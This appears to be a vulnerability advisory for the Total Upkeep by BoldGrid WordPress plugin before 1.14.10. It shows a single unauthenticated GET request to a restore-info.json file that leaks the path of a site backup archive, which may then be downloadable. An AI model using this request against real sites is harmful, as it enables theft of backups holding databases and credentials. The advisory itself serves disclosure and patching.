Total Upkeep by BoldGrid < 1.14.10 - Unauthenticated Backup Download

The filepath in /wp-content/plugins/boldgrid-backup/cron/restore-info.json will reveal the internal path of the backup file, which might be publicly accessible.

GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json

{
    [...]
    "filepath":"/wp-content/boldgrid_backup_[RANDOM]/boldgrid-backup-www.example.com_wordpress-[RANDOM]-[DATE]-XXXXXX.zip"
    [...]
}